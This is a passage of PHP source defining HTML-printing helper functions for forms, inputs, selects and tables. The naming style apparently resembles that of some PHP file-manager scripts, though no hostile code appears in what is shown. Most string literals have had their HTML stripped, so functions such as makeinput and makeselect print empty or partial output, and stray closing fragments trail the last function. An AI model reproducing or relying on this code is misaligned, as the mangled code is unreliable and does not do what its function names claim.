ue($str){ return urlencode($str); } function p($str){ echo $str."\n"; } function tbhead() { p(''); } function tbfoot(){ p('
'); } function makehide($name,$value=''){ p(""); } function makeinput($arg = array()){ $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\""; $arg['extra'] = $arg['extra'] ? $arg['extra'] : ''; !$arg['type'] && $arg['type'] = 'text'; $arg['title'] = $arg['title'] ? $arg['title'].'
' : ''; $arg['class'] = $arg['class'] ? $arg['class'] : 'input'; if ($arg['newline']) { p("

$arg[title]

"); } else { p("$arg[title]"); } } function makeselect($arg = array()){ if ($arg['onchange']) { $onchange = 'onchange="'.$arg['onchange'].'"'; } $arg['title'] = $arg['title'] ? $arg['title'] : ''; if ($arg['newline']) p('

'); p("$arg[title] "); if ($arg['newline']) p('

'); } function formhead($arg = array()) { !$arg['method'] && $arg['method'] = 'post'; !$arg['action'] && $arg['action'] = $self; $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : ''; !$arg['name'] && $arg['name'] = 'form1'; p(""); if ($arg['title']) { p('

'.$arg['title'].' »

'); } } function maketext($arg = array()){ !$arg['cols'] && $arg['cols'] = 100; !$arg['rows'] && $arg['rows'] = 25; $arg['title'] = $arg['title'] ? $arg['title'].'
' : ''; p("

$arg[title]

"); } function formfooter($name = ''){ !$name && $name = 'submit'; p('

'); p(''); } function formfoot(){ p(''); } // Exit function pr($a) { echo '
';
	print_r($a);
	echo '
'; }'; ?>